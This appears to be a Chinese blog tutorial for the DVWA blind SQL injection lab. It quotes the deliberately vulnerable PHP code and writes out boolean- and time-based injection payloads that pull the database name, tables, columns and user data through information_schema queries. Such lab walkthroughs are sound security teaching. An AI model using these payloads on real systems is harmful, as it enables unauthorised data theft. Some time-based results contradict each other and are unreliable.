本文最后更新于2019年05月08日,有任何建议或疑问,欢迎底部讨论。

SQL Injection(Blind),SQL盲注。
与普通注入的区别:
普通注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。

盲注分类:
1.布尔盲注(返回true/false)
2.基于时间的盲注(通过sleep()函数,真值立即返回结果,假值或不存在,延迟几秒返回)
3.基于报错的盲注

手工盲注步骤:(与普通注入相比少了 判断字段数及字段显位的位置顺序,因为盲注这些不可见)

  • 判断注入及类型
  • 猜解当前数据库名

    • 猜数据库名长度 [ length() ]
    • 逐一猜数据库名字符ascii码 [ ascii()、substr() ]
  • 猜解数据库的表名

    • 猜数据库中表的数量 [ count() ]
    • 猜表名的长度 [ length() ]
    • 逐一猜表名字符ascii码 [ ascii()、substr() ]
  • 猜解表的字段名

    • 猜表中字段的数量 [ count() ]
    • 猜字段名的长度 [ length() ]
    • 逐一猜字段名字符ascii码 [ ascii()、substr() ]
  • 获取数据

Low

<?php
if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}
?>

该等级的代码对 id 没用检查、过滤,存在注入,而且返回的结果只是 exists 或者 MISSING,而不像上节里面普通注入那样输出结果。

一、基于布尔的盲注

1.1.判断注入及类型
输入 1, 2, 3, 4, 5 ,显示存在;
输入 1' and '1'='1 ,显示存在;
输入 1' and '1'='2 ,显示不存在。
2019-05-08T12:15:25.png
2019-05-08T12:15:34.png
存在注入,字符型。

1.2.猜解当前数据库名
(1)猜解数据库名的长度
输入 1' and length(database())=1 #,显示不存在;
输入 1' and length(database())=2 #,显示不存在;
输入 1' and length(database())=3 #,显示不存在;
输入 1' and length(database())=4 #,显示存在。
2019-05-08T12:15:43.png

(2)采用二分法猜解数据库名

先猜数据库名的第一位字母:
输入 1' and ascii(substr(database(),1,1))>97 #,显示存在,及数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入 1' and ascii(substr(database(),1,1))<122 #,显示存在,及数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入 1' and ascii(substr(database(),1,1))<109 #,显示存在,及数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入 1' and ascii(substr(database(),1,1))<103 #,显示存在,及数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入 1' and ascii(substr(database(),1,1))<100 #,显示不存在,及数据库名的第一个字符的ascii值小于100(小写字母d的ascii值);
输入 1' and ascii(substr(database(),1,1))>100 #,显示不存在,及数据库名的第一个字符的ascii值大于100(小写字母d的ascii值);
由上,既不存在大于100又不存在小于100,即数据库的第一位等于100,为d。

同理猜第二位、第三位、第四位,结果得dvwa:
1' and ascii(substr(database(),2,1))>97 #
1' and ascii(substr(database(),3,1))>97 #
1' and ascii(substr(database(),4,1))>97 #

补充:

substr(database(),1,1) ——> d
第一个 1:表示database() 字符的第一位起,这里即 dvwa 的第一位字符 d;
第二个 1:表示取 database() 字符的位数,这里 即取 1位,整体也就是输出 d;
如果是 substr(database(),2,1) ——> v
substr(database(),1,2) ——> dv

参考:mysql的substr()函数
http://www.cnblogs.com/niuxi/p/5893925.html
附:ascii码值对照表
https://baike.baidu.com/pic/ASCII/309296/0/c2fdfc039245d688c56332adacc27d1ed21b2451?fr=lemma&ct=single#aid=0&pic=c2fdfc039245d688c56332adacc27d1ed21b2451

1.3.猜解数据库的表名
(1)猜数据库表的数量
count()函数:用于计数,查询表的数量。

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # ,显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # ,显示存在
这个代码查询相当于 1' and 查询的表的个数=自定义的个数 #,此处即 1' and 2=2 #
说明存在两个表。

(2)挨个猜表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #,不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #,不存在



1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,存在
说名其中一个表的长度为9,同理可以使用下面语句猜出另一个表长度为5.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #,存在

(3)猜表名
重复上面猜数据库名的二分法,猜表名的第一位字母:
输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #,显示存在,及数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #,显示存在,及数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);



然后第二位、第三位。。。
结果得到 guestbook、users。

1.4.猜解表的字段名
(1)猜表中字段数量
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 # ,显示不存在
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # ,显示存在

(2)猜解字段长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #,不存在
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 #,存在

(3)采用二分法猜字段名

1.5.获取数据
采用二分法猜数据
1' and ascii(substr((select user from users limit 0,1),1,1))>97 #,不存在
1' and ascii(substr((select user from users limit 0,1),1,1))<97 #,不存在



最终得到所有数据。

二、基于时间的盲注

2.1.判断注入与类型
输入 1' and sleep(5) #,感觉到明显延迟;
输入 1 and sleep(5) #,没有延迟.
字符型基于时间的盲注。

2.2.猜解数据库名
(1)猜数据库长度

1' and if(length(database())=1,sleep(5),1) #    没有延迟
1' and if(length(database())=2,sleep(5),1) #    没有延迟
1' and if(length(database())=3,sleep(5),1) #    没有延迟
1' and if(length(database())=4,sleep(5),1) #    明显延迟

说明数据库长度为4个字符。
注:if(condition,A,B),当condition为true时返回A,为false时返回B。

(2)二分法猜数据库名
先猜第一个字母:

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) #   没有延迟
1' and if(ascii(substr(database(),1,1))<122,sleep(5),1) #   没有延迟
。。。
1' and if(ascii(substr(database(),1,1))>100,sleep(5),1) #   明显延迟
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1) #   明显延迟

即第一个字母为 d,同理得出所有字母,得到数据库名。

2.3.猜解数据库的表名
(1)猜解数据库中表的数量

1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1) #   没有延迟
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) #   明显延迟

数据库中有2个表。

(2)猜表名的长度
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

(3)猜表名
二分法

2.4.猜字段名
(1)猜字段数量
(2)猜字段长度
(3)猜出字段名字

2.5.获取数据
1' and if(ascii(substr((select user from users limit 0,1),1,1))>97,sleep(5),1) #

Medium/High/Impossible

代码和前面的 SQL Injection 类似,只是手法用盲注的。

文章目录